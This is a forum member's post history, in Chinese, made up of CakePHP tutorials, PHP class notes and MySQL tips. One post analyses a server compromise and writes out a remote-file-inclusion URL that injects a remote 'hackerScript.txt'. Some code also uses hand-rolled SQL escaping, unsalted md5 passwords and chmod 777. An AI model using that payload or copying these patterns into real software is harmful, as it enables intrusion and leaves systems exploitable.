顯示文章

這裡允許您檢視這個會員的所有文章。請注意, 您只能看見您有權限閱讀的文章。


主題 - Darkhero

頁: 1 2 3 [4] 5 6
91
這東西..不寫起來一定會忘記...

   資料表:
       表格名稱 英文小寫,用復數表示,以底線分格單字 (posts,forums,tags)
       第一個欄位 命名需為 id, 數值, 自動編號, Primary Key (id)
       與其他表格對應的 key 以 modelname_id, 數值, Index Key (forum_id)

       多對多對應關係 (hasAndBelongsToMeny) 中間資料表以 posts_tags 命名
           一樣要設定 primary key (id)
           內部索引值命名法同上.(post_id,tag_id)

   Model: (/CakeAppDir/models/)
       檔名 英文小寫,以資料表名稱(單數型)命名 (post.php,forum.php,tag.php)
       Model名稱以資料表名稱(單數型)命名,英文單字字首大寫 (Post,Forum,Tag)
           Model 注意像是 post_forums 的表格名稱 則以 PostForum 命名 Model
           也就是去掉底線,單字字首大寫

   Controller: (/CakeAppDir/controlls/)
       檔名:
           直接對應 Model : Model名稱加上s加上 _controller.php
               (posts_controller.php)
           一般的話
               "Controller 名稱"加上 _controller.php (home_controller.php)

       物件命名: 名稱(英文字首大寫)+Controller (PostsController)


   View: (/CakeAppDir/views/)
       若無指定 View 則 Controller 會自動找 Action 同名的 .thtml
       /CakeAppDir/views/[controller_name]/[action_name].thtml

   Layout: (/CakeAppDir/view/layouts/)
       若 controller 未指定,則使用 default.thtml 為預設 layout
       flash.thtml 則為 controller 呼叫 flash 方法的時候的預設 layout

92
說真的,我也是這兩天才了解這東西。

CakePHP 的 model 物件中,已經包好了很多很多東西,不過我想對於初期開始寫 CakePHP 的人會跟我一樣,對於 model 中的 hasOne , hasMany, belongsTo , hasAndBelongsToMany 有著一些困惑,但是當搞清楚後,確會惑然開朗的愛上他們。

我們先從關聯式資料庫資料庫說起吧~

資料庫正規化大概看這文章的人有一半以上應該都聽過,也有實際的經驗。
在正規化後,資料會被切割程很多不同的資料表。

這些資料表都利用對方或是自己的 primary key 互相做到關聯,如此才能找到 a 然後跟著找到 b 跟 c ...

但是這在我們以前寫程式的時候,可能就需要寫很多次SQL, 或是採用 join 的方式去在資料庫關聯多個資料表取得資料。

而這麼多個資料表,本身彼此則會利用對方的 id 作為一種關聯的 key ...
這樣說可能很模糊,我們下面就講講 cakephp 的 model 來看看吧。

那在 CakePHP 的 model 則是用 hasOne , hasMany, belongsTo , hasAndBelongsToMany 來達到這些目的。

hasOne:別人那有一比資料有 key 對應到我的 id
hasMany:別人那有很多個比資料有 key 對應到我的 id
belongsTo : 我這有一個 key是對應到別人的 id
hasAndBelongsToMany:在別的資料表中有很多個 key 對應到我的 id ,且有另外一個在別人那的 key 對應到另外一個人的id

上面聽起來好像很複雜吧....

我們用 CakePHP.org 的範例來看看吧:
假設現在資料庫有3個表格:
users{
 primary key : id
}
profiles{
 primary key : id
 link to users: user_id
}
comments{
 primarykey : id
 link to users: user_id
}

我們要建立 user -> profile 的關係
在 user 物件中 hasOne 的用法
代碼: [選擇]
<?php
class User extends AppModel
&#123;
    
var $name 'User';
    var 
$hasOne = array&#40;'Profile' => // 對方物件的名稱
                        
array&#40;'className'    => 'Profile', // 對方物件的名稱
                              
'conditions'   => '',
                              
'order'        => '',
                              
'dependent'    =>  true// 當 true 則會進行同步刪除
                              
'foreignKey'   => 'user_id' // foreign key 
                        
&#41;
                  
&#41;;
&#125;
?>

這樣的話他的在尋找資料的時候輸出就會變成這樣
代碼: [選擇]
$user = $this->User->findById('25');
print_r($user);

//output:

Array
(
    [User] => Array
        (
            [id] => 25
            [first_name] => John
            [last_name] => Anderson
            [username] => psychic
            [pasword] => c4k3roxx
        )

    [Profile] => Array
        (
            [id] => 4
            [name] => Cool Blue
            [header_color] => aquamarine
            [user_id] = 25
        )
)

你會發現,我們只叫 user 去找一下 id = 25 的資料,但是他會聰明的把有關連的資料也一起找出來給你。

那若是在 Profile 的設定呢? 他能不能反過來找 user
代碼: [選擇]
<?php
class Profile extends AppModel
&#123;
    
var $name 'Profile';
    var 
$belongsTo = array&#40;'User' =>
                           
array&#40;'className'  => 'User',
                                 
'conditions' => '',
                                 
'order'      => '',
                                 
'foreignKey' => 'user_id'
                           
&#41;
                     
&#41;;
&#125;
?>


$profile = $this->Profile->findById('4');
print_r($profile);

//output:

Array
(

    [Profile] => Array
        (
            [id] => 4
            [name] => Cool Blue
            [header_color] => aquamarine
            [user_id] = 25
        )

    [User] => Array
        (
            [id] => 25
            [first_name] => John
            [last_name] => Anderson
            [username] => psychic
            [pasword] => c4k3roxx
        )
)


哇!~原來 belongsTo 就是可以讓他自動找回去....

但是上面這兩種情況都是對方只有一筆的情況,若是很多筆呢?
像是一篇文章有很多人回應要怎麼辦?

那我們就來看看 hasMany 吧
代碼: [選擇]
<?php
class User extends AppModel
&#123;
    
var $name 'User';
    var 
$hasMany = array&#40;'Comment' =>
                         
array&#40;'className'   => 'Comment',
                               
'conditions'  => 'Comment.moderated = 1',
                               
'order'       => 'Comment.created DESC',
                               
'limit'       => '5',
                               
'foreignKey'  => 'user_id',
                               
'dependent'   => true,
                               
'exclusive'   => false,
                               
'finderSql'   => ''
                         
&#41;
                  
&#41;;

    // Here's the hasOne relationship we defined earlier...
    
var $hasOne = array&#40;'Profile' =>
                        
array&#40;'className'    => 'Profile',
                              
'conditions'   => '',
                              
'order'        => '',
                              
'dependent'    =>  true,
                              
'foreignKey'   => 'user_id'
                        
&#41;
                  
&#41;;
&#125;
?>

$user = $this->User->findById('25');
print_r($user);

//output:

Array
(
    [User] => Array
        (
            [id] => 25
            [first_name] => John
            [last_name] => Anderson
            [username] => psychic
            [pasword] => c4k3roxx
        )

    [Profile] => Array
        (
            [id] => 4
            [name] => Cool Blue
            [header_color] => aquamarine
            [user_id] = 25
        )

    [Comment] => Array
        (
            [0] => Array
                (
                    [id] => 247
                    [user_id] => 25
                    [body] => The hasMany assocation is nice to have.
                )

            [1] => Array
                (
                    [id] => 256
                    [user_id] => 25
                    [body] => The hasMany assocation is really nice to have.
                )

            [2] => Array
                (
                    [id] => 269
                    [user_id] => 25
                    [body] => The hasMany assocation is really, really nice to have.
                )

            [3] => Array
                (
                    [id] => 285
                    [user_id] => 25
                    [body] => The hasMany assocation is extremely nice to have.
                )

            [4] => Array
                (
                    [id] => 286
                    [user_id] => 25
                    [body] => The hasMany assocation is super nice to have.
                )

        )
)


哎呀!,沒想到吧,只要設定好 hasMany ...當我在找 user 的時候,他也會自動找出跟他相關的 comments 唷!~
(小問題來了:若是我想在找 comments 的時候也能帶出該比資料相關的 user 該用什麼? hasOne ? belongsTo ? hasMany?)

---
小累, hasAndBelongsToMany 晚點補~

93
剛剛去 cakephp.org 看...
重要的兩個範例,1 使用 baker 2. 15 分鐘簡易 blog 建立...
都有作動畫教學了..Q_Q...

http://cakephp.org/pages/screencasts

但是 Bake 我用起來跟他範例的又有點不一樣....

94
PHP程式設計討論區 / CakePHP 1,安裝...
« 於: 2006-05-11 12:02 »
昨天晚上因為在忙其他的東西就忘記寫了。
今天來補一下之前少的安裝部份的東西。

安裝 CakePHP 的方式有幾種,先來說說簡單的∼

1.下載 CakePHP 壓縮檔
引用
http://cakephp.org/downloads/index/nightly/1.x.x.x
或是從 svn 下最新版.
(2006.05.03 的 release 版有個小 bug ....會造成 findAll 的 order by 怪怪的)


2. 解開 CakePHP
tar zxvf cake_nightly_09.05.2006.tar.gz

3. 將 cake_nightly_09.05.2006 內的內容全部拷貝到 DocumentRoot 下(假設我的 DocumentRoot 在 /home/www)
引用
cp -Rf cake_nightly_09.05.2006/* /home/www/


4. 修正 tmp 的權限
引用
chmod 777 /home/www/app/tmp


5. 到你的網站上看一下 http://wwww.example.com/ 如果看到 cakephp 的網頁,基本上就安裝成功了!!

其他:設定 Database 連線,這裡假設你跟我用的都是 MySQL
引用
cd $DocumentRoot/app/config/
cp database.php.default database.php

修改 database.php 中你的資料庫設定(記得要先建立資料庫)
代碼: [選擇]
class DATABASE_CONFIG
{
    var $default = array('driver'    => 'mysql',
                         'connect'  => 'mysql_connect',
                         'host'     => 'localhost',
                         'login'    => 'user',
                         'password' => 'password',
                         'database' => 'project_name',
                         'prefix'    => '');

    var $test    =  array('driver'    => 'mysql',
                         'connect'  => 'mysql_connect',
                         'host'     => 'localhost',
                         'login'    => 'user',
                         'password' => 'password',
                         'database' => 'project_name-test',
                         'prefix'    => '');
}


重回網頁上看,若你看到
引用
Your database configuration file is present.

Cake is able to connect to the database.

就表示你的資料庫設定完成囉!

接下來就可以開始試試看cakephp上的教學囉!!

另外要注意的事情:
若是你安裝的地方比較不一樣,像是網址是在 http://xxxx.xxx.xxx/~username/下,還要修改一下 app/config/core.php ,將 BASE_URL 設定成你完整的喔
引用
/**
 * If you do not have mod rewrite on your system
 * or if you prefer to use CakePHP pretty urls.
 * uncomment the line below.
 * Note: If you do have mod rewrite but prefer the
 * CakePHP pretty urls, you also have to remove the
 * .htaccess files
 * release/.htaccess
 * release/app/.htaccess
 * release/app/webroot/.htaccess
 */
//define ('BASE_URL', env('SCRIPT_NAME'));
define ('BASE_URL', 'http://www.example.com/~darkhero/');


至於複雜一點的安裝方式呢,各位可以直接參考一下官方CakePHP 的安裝說明 http://manual.cakephp.org/chapter/3 ,可以將 cake core library 另外放在其他的地方. 將 DocumentRoot 只有指向 app/webroot 。

95
PHP程式設計討論區 / CakePHP 2 , 如何用 bake
« 於: 2006-05-10 03:48 »
Bake 在 cakephp 中佔有挺重要的角色。


對於初學者來說,這基本上就是程式產生器!

以下是當我在 console 下直接以 bake 進行model的產生.
中文的部份則是我家上去的說明

代碼: [選擇]

[darkhero@home ~]$ bake

____ ____ _  _ ____ ___  _  _ ___     ___  ____ _  _ ____
|    |__| |_/  |___ |__] |__| |__]    |__] |__| |_/  |___
|___ |  | | \_ |___ |    |  | |       |__] |  | | \_ |___
---------------------------------------------------------------
[M]odel
[C]ontroller
[V]iew

#請選擇你要建立的程式樣版(M/V/C)
Please select a class to Bake: (M/V/C)
> M
---------------------------------------------------------------
Model Bake: 系統自動連線資料庫確認目前資料庫中的資料表有哪些.
---------------------------------------------------------------
#可能是您要建立 model 的資料表
Possible models based on your current database:
1. Aco
2. Admin
3. Aro
4. ArosAco
5. Locate
6. ProseminarMember
7. Proseminar

#請從表中選出一個資料表,輸入他的編號,或是直接輸入你要建立的 Model 名稱
Enter a number from the list above, or type in the name of another model.
> 2

#你是否要在所建立的 model 中加入輸入資料檢查機制?
Would you like to supply validation criteria for the fields in your model? (y/n)
[y] > y

#接下來會把每個欄位都列出來詢問你要用什麼方式檢查輸入值

Name: id #欄位名稱
Type: integer #欄位型態
---------------------------------------------------------------
#請選擇一種用來檢查此欄位的檢查方式
Please select one of the following validation options:
---------------------------------------------------------------
1- VALID_NOT_EMPTY 不能空白
2- VALID_EMAIL 必須是 email
3- VALID_NUMBER 必須是數值
4- VALID_YEAR 必須是年份
5- Do not do any validation on this field. 對這個欄位不做任何檢查

... or enter in a valid regex validation string. 或是你可以直接輸入一段 正規表示法 來檢查該欄位的內容


[5] >


Name: id
Type: integer
---------------------------------------------------------------
Please select one of the following validation options:
---------------------------------------------------------------
1- VALID_NOT_EMPTY
2- VALID_EMAIL
3- VALID_NUMBER
4- VALID_YEAR
5- Do not do any validation on this field.

... or enter in a valid regex validation string.

[5] > 5

Name: username
Type: string
---------------------------------------------------------------
Please select one of the following validation options:
---------------------------------------------------------------
1- VALID_NOT_EMPTY
2- VALID_EMAIL
3- VALID_NUMBER
4- VALID_YEAR
5- Do not do any validation on this field.

... or enter in a valid regex validation string.

[5] > 1

#中間還有其他欄位,都一樣我就先刪掉....

#你是否定義這個 model 與其他 model 的關聯關係 (hasMany,hasOn,belongsTo,....) (這部份有點小複雜,但也是CakePHP很重要的一個部份,就是RoR中的ActiveRecord,我們下次再用官方範例詳細說明)
Would you like define model associations (hasMany, hasOne, belongsTo, etc.)? (y/n)
[y] > n

---------------------------------------------------------------
# 接下來會把將要建立的 model 簡介一下,作為確認
The following model will be created:
---------------------------------------------------------------
Model Name:      Admin
DB Connection:   default
Model Table:     admins
Validation:      Array
(
    [username] => VALID_NOT_EMPTY
    [password] => VALID_NOT_EMPTY
    [email] => VALID_EMAIL
)

---------------------------------------------------------------

Look okay? (y/n)
[y] > y
# 確認後就會建立該檔案,若已經有該model檔案,則會詢問是否覆蓋.

# Cake 有提供 test suite 測試環境,你是否需要建立測試用的檔案呢?(因為我還沒搞清楚 test suite 怎麼用,所以先不用....)
Cake test suite not installed.  Do you want to bake unit test files anyway? (y/n)
[y] > n



OK...到這為止,你已經成功利用 bake 建立一個基本的 model 囉!~

你可以到 app/models/ 看一下是否有相對應的檔案...
代碼: [選擇]

[darkhero@home models]$ more admin.php
<?php
class Admin extends AppModel
&#123;
        
var $name 'Admin';
        var 
$validate = array&#40;
                
'username' => VALID_NOT_EMPTY,
                
'password' => VALID_NOT_EMPTY,
                
'email' => VALID_EMAIL,
        &
#41;;

&#125;
?>


96
PHP程式設計討論區 / CakePHP
« 於: 2006-05-09 02:20 »
最近沒事就在看CakePHP的文件,跟不斷的惡搞練習~

來作一下筆記。

CakePHP 是啥? 本月份SA@台中有對於 ROR 的研討會,而 CakePHP 算是 ROR 在 PHP 上的實作,不過聽說將來不一定會跟 ROR 走一模一樣的路。

CakePHP 解壓縮後可以看到下面的目錄...

app/  cake/  index.php  vendors/  VERSION.txt

app/ <= 應用程式,也就是你寫的程式要放在這裡面,後面詳細說。

cake/ <- CakePHP 環境最重要的程式庫, 請放在可以inclue到的地方,或是利用 .htaccess 來設定 include_path

index.php 這是當你直接用解壓縮檔案的時候用的 dispatch

vendors/ 相關其他程式庫,像是Smarty,Adodb 就是放在這.(請自行下載解開後放入)


app/ 中有以下目錄
config/  controllers/  index.php  models/  plugins/  tmp/  vendors/  views/  webroot/

config/ 裡面是環境設定檔案,像是預設跑哪個module, 或是 acl , 還有資料庫連線都在這設定.

controllers/ 放 mvc 中的 controller,也就是程序控制。

models/ 放 mvc中的model,基本上你需要對所有有用到的資料表建立一個相對應的物件。

plugins/ 預設裏面是空的,將來可以放 plugin (我也還不知道是怎麼用...)

view/ 就是 mvc 中的 view,輸出樣版就放在這,cakephp 預設是 .thtml。相對應controller的每個 function都要有一個對應的樣版。

webroot/ 基本上你要是用  apache 的 virtualhost ,請把 DocumentRoot 指向這個位置。這裡面放了 dispatch(index.php) 負責在入整體環境且導向正確的module,也請把用到的圖檔跟css放在這。

剛開始寫的時候可以直接參考 http://wiki.cakephp.org/ 中的範例。



bake:
bake 是 cakephp 提供的快速程式樣版產生程式,執行方式請用 php commandline 的方式執行..
php cake/scripts/bake.php

接下來會有交談介面詢問你要作什麼事情。

我是直接 alias bake='php /www/cake/scripts/bake.php'
這樣以後 ssh 進主機後 bake 就可以了...

97
因為一個專案需要一個討論區,但是又沒有要另外製作太特殊的功能,所以就要直接拿 phpbb2 來用。

但是基本上不會用原來 phpbb2 的會員註冊功能,因為原來的網站有自己的會員系統,所以目前最麻煩的事就是要整合兩個系統的會員資料。

目前想到最簡單得作法是,當原來的會員系統會員註冊的時候,同步寫入一筆新會員資料到 phpbb2 ,同時關閉掉 phpbb2 的會員註冊功能,這樣應該可以達到一個簡單的 Single Sign On 的功能。

於是寫了一個簡單的函式,處理討論區新增會員的功能。


代碼: [選擇]

/**
* 新增 phpbb2 使用者
*
* @param string $username
* @param string $password
* @param string $email
*/
function add_phpbb2_user($username,$password,$email){
// 建立 phpbb2 資料庫連線物件
define('IN_PHPBB', true);
$phpbb_root_path = './forum/';
include_once($phpbb_root_path."config.php");
include_once($phpbb_root_path."extension.inc");
include_once($phpbb_root_path."includes/constants.php");
include_once($phpbb_root_path."includes/db.php");

// auth OK
$sql = "SELECT user_id, username, user_password, user_active, user_level FROM " . USERS_TABLE .
" WHERE username = '" . str_replace("'", "''", $username) . "'";
if ( !($result = $db->sql_query($sql)) )
{
message_die(GENERAL_ERROR, 'Error in obtaining userdata', '', __LINE__, __FILE__, $sql);
}
if( !($row = $db->sql_fetchrow($result)) ) {
// no data found, first login
$sql = "SELECT MAX(user_id) AS total FROM " . USERS_TABLE;
if ( !($result = $db->sql_query($sql)) )
{
message_die(GENERAL_ERROR, 'Could not obtain next user_id information', '', __LINE__, __FILE__, $sql);
}

if ( !($row = $db->sql_fetchrow($result)) )
{
message_die(GENERAL_ERROR, 'Could not obtain next user_id information', '', __LINE__, __FILE_, $sql);
}
$user_id = $row['total'] + 1;

$sql = "INSERT INTO " . USERS_TABLE . " (" .
"user_id," .
"username," .
"user_regdate," .
"user_password," .
"user_email," .
"user_icq," .
"user_website," .
"user_occ," .
"user_from," .
"user_interests," .
"user_sig," .
"user_sig_bbcode_uid," .
"user_avatar," .
"user_avatar_type," .
"user_viewemail," .
"user_aim," .
"user_yim," .
"user_msnm," .
"user_attachsig," .
"user_allowsmile," .
"user_allowhtml," .
"user_allowbbcode," .
"user_allow_viewonline," .
"user_notify," .
"user_notify_pm," .
"user_popup_pm," .
"user_timezone," .
"user_dateformat," .
"user_lang," .
"user_style," .
"user_level," .
"user_allow_pm," .
"user_active," .
"user_actkey" .
") VALUES (" .
"$user_id," .
"'" . str_replace("'", "''", $username) . "'," .
time() . "," .
"'" . str_replace("'", "''", md5($password)) . "'," .
"'" . str_replace("'", "''", $email) . "'," .
"'" . str_replace("'", "''", "") . "'," .
"'" . str_replace("'", "''", "") . "'," .
"'" . str_replace("'", "''", "") . "'," .
"'" . str_replace("'", "''", "") . "'," .
"'" . str_replace("'", "''", "") . "'," .
"'" . str_replace("'", "''", "") . "'," .
"''," .
"''," .
"0," .
"0," .
"'" . str_replace("'", "''", str_replace(' ', '+', "")) . "'," .
"'" . str_replace("'", "''", "") . "'," .
"'" . str_replace("'", "''", "") . "'," .
"1," .
"1," .
"1," .
"1," .
"1," .
"0," .
"0," .
"1," .
"8.00," .
"'" . str_replace("'", "''", "D M d, Y g:i a") . "'," .
"'" . str_replace("'", "''", "chinese_traditional_taiwan") . "'," .
"1," .
"0," .
"1," .
"1," .
"''" .
")";
echo $sql;
if ( !($result = $db->sql_query($sql, BEGIN_TRANSACTION)) )
{
message_die(GENERAL_ERROR, 'Could not insert data into users table', '', __LINE__, __FILE__, $sql);
}

$sql = "INSERT INTO " . GROUPS_TABLE . " (group_name, group_description, group_single_user, group_moderator)" .
" VALUES ('', 'Personal User', 1, 0)";

echo $sql;
if ( !($result = $db->sql_query($sql)) )
{
message_die(GENERAL_ERROR, 'Could not insert data into groups table', '', __LINE__, __FILE__, $sql);
}

$group_id = $db->sql_nextid();

$sql = "INSERT INTO " . USER_GROUP_TABLE . " (user_id, group_id, user_pending)" .
" VALUES ($user_id, $group_id, 0)";

echo $sql;
if( !($result = $db->sql_query($sql, END_TRANSACTION)) )
{
message_die(GENERAL_ERROR, 'Could not insert data into user_group table', '', __LINE__, __FILE__, $sql);
}
}
}

另外修改討論區中的 includes/usercp_register.php,將 $mode=register 的情況都轉回原來的會員註冊系統。

參考資料:http://phorum.study-area.org/viewtopic.php?t=15561&start=0&postdays=0&postorder=asc&highlight=

98
系統安全討論版 / Smarty 官網被黑掉...
« 於: 2006-04-04 01:21 »
詳情請洽~ http://smarty.php.net

這是在慶祝婦幼節嗎??

99
Study-Area 公開討論版 / 最近很多SPAM...
« 於: 2006-03-23 10:35 »
昨天晚上半夜看到全站幾乎所有版都被貼了廣告文章∼

101
前兩天由於自己家中的主機怪怪得,所以做了一些檢查,赫然發現一堆不知道從那出來的 Email 再寄送,當下嚇到怕變成 SPAM 的木馬!∼

詳細檢查後發現主要是由 Register_global 開啟加上 require_once 沒有確認路徑變數的關係,導致被 spam 在 /tmp 下塞入了一個 script 自動發信!

該段語法如下 (xxxx.inc.php):

require_once $baseDir."include_once/adodb....";

主要就是在於沒有檢查 $baseDir 的位置與內容,且開啟了 register_global 的關係,所以可以直接採用:

http://xxxx.xxxx.xxxx/include_base/init_database.php?baseDir=http://xxxx.xx.xxx/hackerScript.txt; .....等。

原來 include_base 應該是給 /index.php 來 include 後使用的,而非給 client 存取的,所以讓使用者可以直接存取造成了安全上得隱憂。

另外 $baseDir 又容由另外一個檔案進行設定,所以 init_database.php 並沒有檢查該變數的內容。

基本上這種問題若是有關閉 register_global 就不會發生囉,不過由於原來的系統上有一些程式需求要 register_global = on 才能使用,所以才會這樣設定。

剛剛查過網路上,相類似的情況可以在預設 php.ini 為 register_global = off ,而在 .htaccess 設定 PHPINI 來改變特定目錄下的特性。

anyway,現在把東西重新調整過也把被偷發的垃圾信都刪掉了,希望以後不會再次發生這樣的問題了。

102
雜七雜八 / php 上課時間.
« 於: 2005-12-21 11:22 »
今日(週三)晚上不用上課...
明日(週四)晚上要上課...

同時會於明日確認所有剩下的課程時間..

103
課後溫習+認證考試 / PHP課程 20051208
« 於: 2005-12-09 14:11 »
字串處理:

字串的指定:
 單引號跟雙引號的不同.
 特殊字元: \n , \t , \\ , \' , \"

連結兩個字串: $str1.$str2

常用函試練習

addSlashes --- 將字串加上反斜線
stripslashes --- 去除addslashes()引用的斜線

chop --- 移除多餘的空白
ltrim --- 去除字串起始處的空白
rtrim --- 移除多餘的空白
trim --- 去除字串開始處與結束處的空白

Chr --- 傳回指定的字元
Ord --- 傳回字元的ASCII碼

crypt --- 使用DES將字串碥碼
md5 --- 計算字串的MD5拼湊
sha1 -- Calculate the sha1 hash of a string

echo --- 輸出字串
print --- 輸出字串
printf --- 輸出格式化字串
sprintf --- 傳回格式化字串

nl2br --- 轉換新行成為HTML的<BR>
strip_tags --- 去除字串中的HTML和PHP標籤
htmlentities --- 轉換所有字元成為HTML實體
htmlspecialchars --- 轉換特殊字元成為HTML實體

strlen --- 取得字串長度

strcmp --- 字串比對
strcasecmp --- 不分大小寫字串比對

explode --- 切開字串
strtok --- 切開字串
implode --- 將陣列的元素連結起來成為字串

str_repeat --- 重複字串

strstr --- 找出字串第一次出現的地方
stristr --- 不分大小寫找出字串第一次出現的地方
strpos --- 找出字串第一次出現的位置
strrpos --- 找出字元最後一次出現的位置
substr_count --- 計算字串的出現次數

strtolower --- 將字串轉成小寫
strtoupper --- 將字串轉成大寫

substr_replace --- 取代字串的一部份字串
substr --- 取得部份字串

strrev --- 顛倒字串

104
課後溫習+認證考試 / PHP 取得陣列索引值.
« 於: 2005-12-02 15:02 »
在製作 fputcsv 的練習中.

會發現 csv 本身是沒有 欄位名稱的概念...
所以原來的陣列若是有欄位名稱,例如 ID, email , phone 的...
存近 csv 檔案後,取出來卻會是數值為key的陣列///

這時候該怎麼辦呢?...

簡單的想法:
找一個 array 的指令,可以取得輸入的陣列的 keys .
把這些 keys 優先存入 csv 檔案.
然後再進行資料內容的處理.

取出時. 先取出第一列的資料.設定為欄位名稱.然後在進行資料處理.

105
程式討論版 / PHP 補. 自己寫的 fputcsv
« 於: 2005-12-02 14:41 »
代碼: [選擇]
function fputcsv(&$fp,$array){
   fwrite($fp,implode(',',$array));
}

106
課後溫習+認證考試 / PHP 20051201 上課綱要
« 於: 2005-12-01 17:28 »
引用
檔案相關function的使用.

檔案的屬性.

    所屬使用者,所屬群組,權限


改變檔案所屬使用者,所屬群組,所屬權限

    chown , chgrp , chmod


檢查檔案在不在

    file_exists , is_file , is_dir , is_link , is_uploaded_file , is_writable


建立,拷貝,刪除,改名字.

    touch , link , mkdir , copy , unlink , rename , move_uploaded_file


開啟檔案以及讀取檔案內容.
    fopen , fclose .
    fgetc, fgets
    fputs

EOF(End Of File)的使用.

    feof


檔案的鎖定.

    flock


其他特殊的檔案 function
    file

    readfile

    readlink


暫存檔案

    tmpfile tmpname


CSV 逗號分隔檔案(excel表格匯出)

    fgetcsv fputcsv

107
這次上課講了很多關於陣列的使用...
會大量使用到 print_r , var_dump , 請同學務必知道這兩個指令作陣列檢視喔~.

排序,如何使用PHP內建的陣列排序功能.
 sort , rsort 依 value 排列, 且重設 key.
 asort , arsort 依 value 排列, 不改變 key.
 ksort , ksort . 依照 key 排序.
練習: 老師排序學生成績資料陣列練習....
建立一個陣列, 以學生ID為Key, 以學生成績為 Value , 然後進行排序練習.

找出陣列中是否存在特定的值.
 in_array 的使用.
練習:建立一個色彩表的陣列, 找出裡面是否有 "Red" 這個顏色.

找出兩個陣列相同的值或不同的值.
 array_diff, 比較兩個陣列, 且回覆陣列不同的地方.
 array_intersect, 比較兩個陣列, 且傳回陣列相同的值.
練習: 建立兩個陣列, 並且利用上面兩個 function 進行比較練習.

如何進行陣列合併?
 array_merge 合併兩個不同的陣列.
  注意唷. 數值key 會累加上, 相同字串key 的會被第二個陣列值覆蓋.

如何解決相同key值得問題呢?
 array_merge_recursive 合併兩個不同的陣列,且把相同 key 名的建立為陣列.

練習: 實際使用 array_merge , array_merge_recursive 進行陣列合併看看. 注意相同 key 的處理方式喔~..

未完待補~

108
代碼: [選擇]
<?

/**

 * 物件: 馬達

 *

 */

class mada

{

/**

* 目前轉速

*

* @var int

*/

var $nowSpeed;

/**

* 最大轉速

*

* @var int

*

*/

var $maxSpeed;

/**

*

*

* @param int $nowSpeed

*/

function setSpeed($nowSpeed)

{

$this->nowSpeed=$nowSpeed;

}



/**

*

*

* @param int $maxSpeed

*/

function setMaxSpeed($maxSpeed){

$this->maxSpeed = $maxSpeed;

}



/**

* 取得目前轉速

*

* @return int

*/

function getSpeed()

{

return $this->nowSpeed;

}



/**

*

*

* @return int

*/

function getMaxSpeed(){

return $this->maxSpeed;

}



/**

*

*

* @param int $addSpeed

*/

function addSpeed($addSpeed)

{

$this->nowSpeed = $this->nowSpeed + $addSpeed;

return true;

}



function checkSpeed(){

if($this->nowSpeed >= $this->maxSpeed){

return false;

}else{

return true;

}

}

}

?>

<?

$mada2=new mada; // 建立馬達.

$mada2->setMaxSpeed(100); //

$mada2->setSpeed(0); //

while($mada2->checkSpeed()){ //

$mada2->addSpeed(1);

echo "

}

echo '

?>

110
雜七雜八 / 虛擬主機的流量被吃光....
« 於: 2005-11-05 19:13 »
今天我租的虛擬主機流量被用光..Q_Q..
明明才5號而已~...

去抓了 log 來看...

代碼: [選擇]
# Hits Files KBytes Visits Hostname  
1 112229 86.33% 0 0.00% 5256637 95.55% 1 0.07% 216.255.176.18


看樣子是被攻擊..=_=...

111
這一個Mandriva官方發起的活動,一方面替即將釋出的Mandriva 2006廣告,另一方面也在藉由這個活動讓使用Mandriva的朋友有一個聚會的理由,讓老手面對面地交換Mandriva的使用心得,並帶領渴望接觸 Mandriva,但沒有Mandriva使用經驗的朋友來體驗Mandriva。因此不論您是Mandriva的老手或是菜鳥,我們都竭誠歡迎您的參與。只要您來,絕對不會讓您空手而回。
另外我們將向Mandriva官方申請此次的活動贈品(滑鼠板、原子筆、記事本、光碟、貼紙、海報、產品DM....),只要您來,就有機會A回去這些已往讓Mandriva愛好者看到流口水的商品,但苦無管道取得的商品。


參加條件:無。但請帶著開放的心胸來參與。
如果您願意的話,且您的筆記型電腦硬碟夠大,我們還可以協助您安裝雙系統(Mandriva+Windows)。
活動時間:2005年11月19日
活動費用:零
活動地點:北部活動的場地敲定後馬上公佈
報名位置: http://home.v-dark.net/~darkhero/mediawiki/index.php/Mandriva_2006_Install_Party

報名截止日:2005年11月5日
只有一天的時間報名?沒有錯!因為這次活動也算是很臨時的,扣掉與Mandriva官方確認事宜及一些籌備的時間,我們只剩下一天的時間來跟Mandriva官方提報參與的人數。提報參與的人數是跟官方要贈品的依據。就因如此,還請您見諒!

PS.如果您沒有在2005年11月5日前報名,11月19日當天仍可前來參加這個活動。只是當您不見得可以拿得到贈品,屆時得看贈品是否有剩下。

PS1.這是在台北舉辦的活動。到目前為止,我們也有耳聞中南部也有install party,如果中南部的活動有較為明確的規劃出來,我們會再另發新聞稿來告知中南部的朋友。

傳單→ http://moe.tnc.edu.tw/~supau/docs/Mandriva2006-%20Install-Party/Mandriva-install-party.pdf

112
database 討論版 / MySQL 5.0 ....
« 於: 2005-10-28 19:39 »
MySQL5 經過長時間的 beta 後...
MySQL AB 終於將他Released 成為 正式的資料庫版本...

新功能請參考官方網站
http://www.mysql.com/news-and-events/news/article_976.html

其中最重要的就是之前大家都希望能夠有的
Stored Procedures and SQL Functions
Triggers
Views
目前都已經支援囉!!!

http://dev.mysql.com/doc/refman/5.0/en/stored-procedures.html
http://dev.mysql.com/doc/refman/5.0/en/triggers.html
http://dev.mysql.com/doc/refman/5.0/en/views.html

113
引述: "supau"
這樣吧
黑貓姊分享的那一次
我一定去當義工 :D


降子喔.那天義工一定很多人...

我想..黑貓就講這個題目好了~『如何招募大量義工』~\

114
database 討論版 / 開啟MySQL 得Query_Cache
« 於: 2005-10-01 16:56 »
這功能一定要 MySQL 4 以上才有支援...

我發現很多人不知道也不會開啟該設定..
就算預設是Open得.但是預設上沒有配置QueryCacheMemory 所以等於沒開一樣...

各位可以看一下 show status; 後得資料...
其中.
代碼: [選擇]

Qcache_queries_in_cache   0
Qcache_inserts 0
Qcache_hits 0
Qcache_lowmem_prunes 0
Qcache_not_cached 0
Qcache_free_memory 0
Qcache_free_blocks 0
Qcache_total_blocks 0

應該是各位沒有開啟得時候現在得狀態...

在 /etc/my.cnf 中得 [mysqld]區段加入下面這樣得設定..
代碼: [選擇]
query_cache_size = 2M
實際配置記憶體量請自己衡量...
可參考 /usr/share/mysql/my-large.cnf 中得建議設定.

然後重新啟動mysql...
看看 show status;
代碼: [選擇]

Qcache free blocks   1
Qcache free memory   616568
Qcache hits   289
Qcache inserts   146
Qcache lowmem prunes   0
Qcache not cached   74
Qcache queries in cache   146
Qcache total blocks   315


你就會看到 cache 已經打開,且配置完成記憶體,然後 hits 則是目前從cache回傳資料次數, queries in cache 則表示有多少資料目前在 cache中.

願各位得 mysql 都勇猛如虎~

115
PHP程式設計討論區 / PHP的Rapid開發工具
« 於: 2005-09-26 03:43 »
